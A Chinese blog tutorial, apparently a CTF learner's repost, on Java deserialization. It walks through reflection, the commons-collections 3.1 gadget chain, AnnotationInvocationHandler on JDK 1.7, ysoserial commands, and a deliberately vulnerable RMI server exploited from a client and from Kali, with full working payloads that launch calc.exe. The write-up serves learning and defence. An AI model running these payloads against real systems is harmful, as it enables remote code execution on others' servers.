zoukankan      html  css  js  c++  java
  • 浅显易懂的JAVA反序列化入门

    0x00前言

    因为我平时打CTF的时候遇到的web大部分都是php的代码,php环境搭建也十分的方便。所有在刚刚接触到java反序列化漏洞的时候也不知道怎么下手,因为两者差别还是比较大,所以希望自己的见解能够对刚接触这块的人有所帮助
    我的源码和笔记Github地址在文章的最后

    这篇文章之前是发到先知上https://xz.aliyun.com/t/4711
    但登录自己的账号看文章很麻烦23333,所以还是备一份到博客上

    0x01我了解JAVA发序列化的过程

    最开始看java反序列化的文章是比较难懂的,即使能把别人的例子拿来运行成功了,但是还是没有把要领装入脑袋中。我学习这方面的步骤如下,希望有所帮助
    1.先了解下JMX是什么,明白本地java虚拟机如何运行远程的java虚拟机的代码,
    2.了解RMI是什么,明白RMI和JMX的异同之处,
    3.了解java反射的机制
    4.了解java的反序列化commons-collections-3.1漏洞
    5.再把commons-collections-3.1的反序列化运用在远程的RMI服务器上

    这篇文章讲述的内容是
    本地运行commons-collections-3.1的反序列化
    构造commons-collections-3.1的序列化的代码
    启动rmi服务,利用commons-collections-3.1的反序列化

    0x02 java反射简介

    先看在java中执行系统命令的方法

    public class ExecTest {
        public static void main(String[] args) throws Exception{
            Runtime.getRuntime().exec("notepad.exe");
        }
    }
    

    该代码会运行并打开windows下的记事本
    它正常的步骤是

    public class ExecTest {
        public static void main(String[] args) throws Exception{
            Runtime runtime = Runtime.getRuntime();
    		runtime.exec("notepad.exe");
        }
    }
    

    那么相应的反射的代码如下

    import java.lang.reflect.Method;
    
    public class ExecTest {
        public static void main(String[] args) throws Exception{
            Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
            //System.out.println(runtime.getClass().getName());
     	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
        }
    }
    
    getMethod(方法名, 方法类型)
    invoke(某个对象实例, 传入参数)
    

    这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用
    等价于 Object runtime = Runtime.getRuntime()
    目的是获取一个对象实例好被下一个invoke调用

    第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法,并将"notepad.exe"参数传入exec()方法

    0x03 JAVA反序列化的操作函数

    ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据
    ObjectInputStream类的readObject(Object obj)方法,将字符串数据反序列化成对象
    测试代码

    import java.io.*;
    
    public class Serialize {
        public static void main(String[] args) throws Exception{
            //要序列化的数据
            String name = "sijidou";
     
     		//序列化
     		FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(name);
            objectOutputStream.close();
    		
    		//反序列化
            FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            Object result = objectInputStream.readObject();
            objectInputStream.close();
            System.out.println(result);
        }
    }
    

    把刚刚的执行操作的代码进行序列化和反序列化

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    
    public class Serialize2 {
        public static void main(String[] args) throws Exception{
            //要序列化的数据
            Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
            Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
    		//Object evil = Runtime.getRuntime().exec("notepad.exe");
    
            //序列化
            FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(evil);
            objectOutputStream.close();
    
            //反序列化
            FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            Object result = objectInputStream.readObject();
            objectInputStream.close();
            System.out.println(result);
        }
    }
    

    这样是不能触发的,因为Runtime类没有继承Serializable接口,所以导致不会成功,它弹是在写Object的时候会弹的

    0x04 commons-collections-3.1反序列化漏洞

    代码在远程调用前,要明白本地是如何实现的,这个时候DEBUG是个非常棒的东西
    首先漏洞组件的下载地址:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
    网上很多都拿这个反序列漏洞来讲解java反序列化的知识点,我这里就拿一个payload,代码如下

    public class ApacheSerialize {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
            };
            
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
    		//创建Map并绑定transformerChina
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
    		//触发漏洞
            Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
            onlyElement.setValue("foobar");
        }
    }
    

    这里涉及到了3个比较重要的对象InvokerTransformer``ChaniedTransformerTransformedMap
    首先看看InvokerTransformer,它是执行恶意代码的主要问题所在

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }
    

    可以看到它利用了反射进行调用函数,Object是传进来的参数,this.iMethodName,this.iParamTypesthis.iArgs是类中的私有成员

    这反射类比下正常的调用就是如下形式

    input.(this.iMethodName(<this.iParamTypes[0]> this.iArgs[0], <this.iParamTypes[1]> this.iArgs[1]))
    

    input是类名, this.iMethodName是方法名, 之后的this.iParamTypes是参数类型,this.iParamTypes是参数的值
    查看3个私有变量传进来的方式,是利用的构造函数,即在new的时候,把参数代入到私有成员

    public class InvokerTransformer implements Transformer, Serializable {
    	private final String iMethodName;
    	private final Class[] iParamTypes;
    	private final Object[] iArgs;
    
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            this.iMethodName = methodName;
            this.iParamTypes = paramTypes;
            this.iArgs = args;
        }
    

    因此我在payload中第一部生成的transformers数组的效果等价于

    transformers[1]
    input.getMethod("getRuntime", null)
    
    transformers[2]
    input.invoke(null, null);
    
    transformers[3]
    input.exec("calc.exe");
    

    input是后面调用transform(Object input)的传参,但是这3个明显是闲散的,我们的目的是把它们组合起来

    这时候就是要靠ChaniedTransformer
    看一下ChainedTransformer类的transform方法

        public Object transform(Object object) {
            for(int i = 0; i < this.iTransformers.length; ++i) {
                object = this.iTransformers[i].transform(object);
            }
    
            return object;
        }
    

    是一个反复的循环调用,后面一个transformers调用前面一个tranformers的返回值,并且会遍历一遍数组里面的所有值
    再看看之前构造的chainedTransformer对象里面的内容

    [0]是ConstantTransformer对象,它会返回new时候的参数中的Object对象,这里也是就是"java.Runtime"
    [1]-[3]是InvokerTransformer对象,调用的是反射的代码
    

    最后看能带有触发这个攻击链的方法的对象TransformedMap
    利用 Map.Entry取得第一个值,调用修改值的函数,会触发下面的setValue()代码

      public Object setValue(Object value) {
                value = this.parent.checkSetValue(value);
                return this.entry.setValue(value);
            }
    

    而其中的checkSetValue()实际上是触发TransoformedMap的checkSetValue()方法,而此次的this.valueTransformer就是ChianedTransformer类,之后就会触发漏洞利用链

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
    

    回到整体的payload的中的参数
    payload中的利用反射的结构是这样的

    Transformer[] transformers = new Transformer[] {
    	new ConstantTransformer(Runtime.class),
    	
    	new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    	
    	new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    	
    	new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
            };
    

    因为我JAVA不是太熟悉,理解了好久,这里简述下我的理解,InvokerTransformer的构造函数如下

       public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            this.iMethodName = methodName;
            this.iParamTypes = paramTypes;
            this.iArgs = args;
        }
    

    第一个是字符串,是调用的方法名,第二个是个Class数组,带的是方法的参数的类型,第三个是Object数组,带的是方法的参数的值

    getMethod举例

    第一个参数"getMethod"是这个函数的名字

    第二个参数new Class[]{String.class, Class[].class}getMethod的2个参数参数类型,一个是String,一个是class[]

    第三个参数new Object[]{"getRuntime", new Class[0]}getMethod的2个参数值,一个是getRuntime,一个是空,因为是数组形式所以要这么写

    上面这个组合起来相当于 getMethod(<String> "getRuntime", <Class[]> null)
    整理一下思路

    ChianedTransformer可以理解为一个数组容器
    ChianedTransformer里面装了4个transform
    TransoformedMap绑定了ChiandTransformer
    
    step1 : 利用TransoformedMap的setValue触发ChianedTransformer的transform
    
    step2 : ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法
    
    step3 : 第一次循环调用ConstantTransformer("java.Runtime")对象的transformer调用参数为"foobar"(正常要修改的值),结果无影响
    
    step4 : 第二次循环调用InvokerTransformer对象getMethod("getRuntime",null)方法,参数为("java.Runtime")会返回一个Runtime.getRuntime()方法
    相当于生产一个字符串,但还没有执行,"Rumtime.getRuntime();"
    
    step5 : 第三次循环调用InvokerTransformer对象Invoke(null,null)方法,参数为Runtime.getRuntime(),那么会返回一个Runtime对象实例
    相当于执行了该字符串,Object runtime = Rumtime.getRuntime();
    
    step6 : 第四次循环调用InvokerTransformer对象exec("clac.exe")方法,参数为一个Runtime的对象实例,会执行弹出计算器操作
    调用了对象的方法,runtime.exec("clac,exe")
    
    

    至此已经能够触发漏洞了,之后还会执行什么步骤无关紧要了

    0x05 payload实现

    上面的代码只是作为一段小脚本执行了,但是没有被用来通过网络传输payload,然后被反序列化利用,并且还要满足被反序列化之后还会改变map的值等总总因素的影响,假设一个理想的情况如下

    public class ApacheSerialize2 implements Serializable {
        public static void main(String[] args) throws Exception{
             Transformer[] transformers = new Transformer[]{
                     new ConstantTransformer(Runtime.class),
                     new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
             };
             Transformer transformerChain = new ChainedTransformer(transformers);
    
             Map map = new HashMap();
             map.put("value", "sijidou");
             Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
    
             //序列化
             FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
             objectOutputStream.writeObject(transformedMap);
             objectOutputStream.close();
    
             //反序列化
             FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
             ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
             Map result = (TransformedMap)objectInputStream.readObject();
             objectInputStream.close();
             System.out.println(result);
    
             Map.Entry onlyElement = (Map.Entry) result.entrySet().iterator().next();
             onlyElement.setValue("foobar");
    

    该情况可以触发,但是现实中往往不一定存在把数据反序列化后,再调用其中TransformedMapMap.Entry类型的setValue方法

    在java中,自带的类中还有一个类叫做AnnotationInvocationHandler

    该类中重写的readObject方法在被调用时会将其中的map,转成Map.Entry,并执行setValue操作,那么能把TransformedMap装入这个AnnotationInvocationHandler类,再传过去,就可以不用考虑之后代码是否执行setValue就可以直接利用漏洞了

     private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            var1.defaultReadObject();
            AnnotationType var2 = null;
    
            try {
                var2 = AnnotationType.getInstance(this.type);
            } catch (IllegalArgumentException var9) {
                throw new InvalidObjectException("Non-annotation type in annotation serial stream");
            }
    
            Map var3 = var2.memberTypes();
            Iterator var4 = this.memberValues.entrySet().iterator();
    
            while(var4.hasNext()) {
                Entry var5 = (Entry)var4.next();
                String var6 = (String)var5.getKey();
                Class var7 = (Class)var3.get(var6);
                if (var7 != null) {
                    Object var8 = var5.getValue();
                    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                        var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                    }
                }
            }
    
        }
    }
    

    setValue的点在这一行

    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
    

    最后利用的payload如下

    package Serialize2;
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    
    public class ApacheSerialize2 implements Serializable {
        public static void main(String[] args) throws Exception{
             Transformer[] transformers = new Transformer[]{
                     new ConstantTransformer(Runtime.class),
                     new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
             };
             Transformer transformerChain = new ChainedTransformer(transformers);
    
             Map map = new HashMap();
             map.put("value", "sijidou");
             Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
    
             Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
             Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
             ctor.setAccessible(true);
             Object instance = ctor.newInstance(Target.class, transformedMap);
    
             //序列化
             FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
             objectOutputStream.writeObject(instance);
             objectOutputStream.close();
    
             //反序列化
             FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
             ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
             Object result = objectInputStream.readObject();
             objectInputStream.close();
             System.out.println(result);
    
        }
    }
    

    能够直接触发
    图片.png

    为什么jdk为1.8就无法这么利用了,看jdk1.8的AnnotationInvocationHandler源码,readObject中在jdk1.7的setValue已经变成了

    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
    
     private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            GetField var2 = var1.readFields();
            Class var3 = (Class)var2.get("type", (Object)null);
            Map var4 = (Map)var2.get("memberValues", (Object)null);
            AnnotationType var5 = null;
    
            try {
                var5 = AnnotationType.getInstance(var3);
            } catch (IllegalArgumentException var13) {
                throw new InvalidObjectException("Non-annotation type in annotation serial stream");
            }
    
            Map var6 = var5.memberTypes();
            LinkedHashMap var7 = new LinkedHashMap();
    
            String var10;
            Object var11;
            for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
                Entry var9 = (Entry)var8.next();
                var10 = (String)var9.getKey();
                var11 = null;
                Class var12 = (Class)var6.get(var10);
                if (var12 != null) {
                    var11 = var9.getValue();
                    if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                        var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                    }
                }
            }
    
            AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
            AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
        }
    

    在jdk1.8下不能触发

    图片.png

    ysoserial的包里面也有commons-collectons-3.1的payload,它利用的是jdk中的BadAttributeValueExpException这个类重写readObject来实现的
    该项目的GitHub地址https://github.com/frohoff/ysoserial
    ysoserial的使用方法

    java -jar ysoserial.jar CommonsCollections5 calc.exe > 1.txt
    

    把1.txt 里面的内容反序列化化即可触发生成calc.exe的命令
    图片.png

    0x06 RMI简介

    RMI(Remote Method Invocation),远程方法调用
    JNDI(Java Naming and Directory Interface),Java 命名与目录接口
    JNDI是注册表可以包含很多的RMI,举个例子就JNDI像个本子,RMI像本子上的记录,客户端调用RMI记录的时候会先去JNDI这个本子,然后从本子上找相应的RMI记录

    性质
    与JMX服务器之间的通信使用的协议就是rmi协议
    rmi可以传输序列化的数据

    传输原理

    1.客户端 => 客户端本地的stub类
    2.客户端本地的stub类把信息序列化 => 服务器端的skeletons类
    3.服务器端的skeletons类把信息反序列化 => 服务器端的对应类进行处理
    4.服务器端对应类处理完后 => 服务器端的skeletions类
    5.skeletions类序列化数据 => 客户端本地的stub类
    6.客户端本地的stub类把数据反序列化 => 客户端

    但在java 1.2版本后免去了3、5的步骤,直接在对应的类上进行序列化和反序列化

    0x07 RMI服务器实现

    首先定义一个User接口,这个接口和普通接口不一样在于要抛出RemoteException的异常

    package RMI;
    
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    
    public interface User extends Remote{
        String name(String name) throws RemoteException;
        void say(String say) throws RemoteException;
        void dowork(Object work) throws RemoteException;
    }
    

    接着实现该接口的各种函数的UserImpl类,实现的类也要抛出RemoteException的异常

    package RMI;
    
    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;
    
    public class UserImpl extends UnicastRemoteObject implements User{
    
        public UserImpl() throws RemoteException{
            super();
        }
        @Override
        public String name(String name) throws RemoteException{
            return name;
        }
        @Override
        public void say(String say) throws  RemoteException{
            System.out.println("you speak" + say);
        }
        @Override
        public void dowork(Object work) throws  RemoteException{
            System.out.println("your work is " + work);
        }
    }
    

    最后是启动这个服务

    package RMI;
    
    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;
    
    public class UserServer {
        public static void main(String[] args) throws Exception{
            String url = "rmi://10.10.10.1:4396/User";
            User user = new UserImpl();
            LocateRegistry.createRegistry(4396);
            Naming.bind(url,user);
            System.out.println("the rmi is running ...");
        }
    }
    

    LocateRegistry.createRegistry(4396)把4396端口号在JNDI中注册,将开启RMI的服务的端口
    Naming.rebind()来实现将类和端口版本,开放出去
    图片.png
    运行后,就会在4396端口进行监听

    0x08 通过RMI服务器运行commons-collectons-3.1反序列化漏洞

    这个RMI的问题在于,它的void dowork(Object work)函数接收了Object类型

     public void dowork(Object work) throws  RemoteException{
            System.out.println("your work is " + work);
        }
    

    而我们的把攻击链生成的payload也是Object类型,因此可以通过该点传入触发漏洞
    在jdk1.7,并且服务器上有commons-collectons-3.1的情况下,运行下面payload弹出计算机

    package RMI;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.rmi.Naming;
    import java.util.HashMap;
    import java.util.Map;
    
    public class UserClient {
        public static void main(String[] args) throws Exception{
            String url = "rmi://10.10.10.1:4396/User";
            User userClient = (User)Naming.lookup(url);
    
            System.out.println(userClient.name("sijidou"));
            userClient.say("world");
            userClient.dowork(getpayload());
        }
        public static Object getpayload() throws Exception{
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map map = new HashMap();
            map.put("value", "sijidou");
            Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
    
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, transformedMap);
            return instance;
        }
    }
    
    

    图片.png

    在jdk1.8下会失败
    图片.png
    图片.png

    那么利用之前的ysoserial生成的1.txt,来触发jdk1.8的漏洞

    package RMI;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.FileInputStream;
    import java.io.ObjectInputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.rmi.Naming;
    import java.util.HashMap;
    import java.util.Map;
    
    public class UserClient2 {
        public static void main(String[] args) throws Exception{
            String url = "rmi://10.10.10.1:4396/User";
            User userClient = (User) Naming.lookup(url);
    
            System.out.println(userClient.name("sijidou"));
            userClient.say("world");
            userClient.dowork(getpayload());
        }
        public static Object getpayload() throws Exception{
            FileInputStream fileInputStream = new FileInputStream("1.txt");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            return objectInputStream.readObject();
        }
    }
    
    

    成功弹出计算器
    图片.png

    那么在另一台设备上,我这里用kali的虚拟机使用ysoserial工具来给本地的win10RMI服务器发送payload
    win10在虚拟机的虚拟网卡ip:10.10.10.1
    kali的ip:10.10.10.128

     java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.RMIRegistryExploit 10.10.10.1 4396 CommonsCollections1 "calc.exe"
    

    图片.png

    1. 结语
      源码和笔记
      JMX:https://github.com/SiJiDo/JMX-
      RMI:https://github.com/SiJiDo/RMI-simple-notes
      JAVA反序列化:https://github.com/SiJiDo/JAVA-Serialize-vuln
      参考文章
      https://www.jianshu.com/p/a947717ded70
      https://blog.csdn.net/lmy86263/article/details/72594760
      http://www.importnew.com/20344.html
      https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
      https://www.cnblogs.com/ysocean/p/6516248.html
      https://www.freebuf.com/vuls/170344.html
      https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
      https://www.cnblogs.com/luoxn28/p/5686794.html
      https://security.tencent.com/index.php/blog/msg/97
      https://p0sec.net/index.php/archives/121/
      https://xz.aliyun.com/t/4558
  • 相关阅读:
    KVM快速构建虚拟机
    工程师测试
    配置SMB,NFS
    Shell脚本基础应用
    Web网页部署
    基础邮件,mariadb数据库
    SElinux,firewalld配置
    Linux管理员测试
    磁盘分区
    配置权限,LDAP
  • 原文地址:https://www.cnblogs.com/sijidou/p/13121305.html
Copyright © 2011-2022 走看看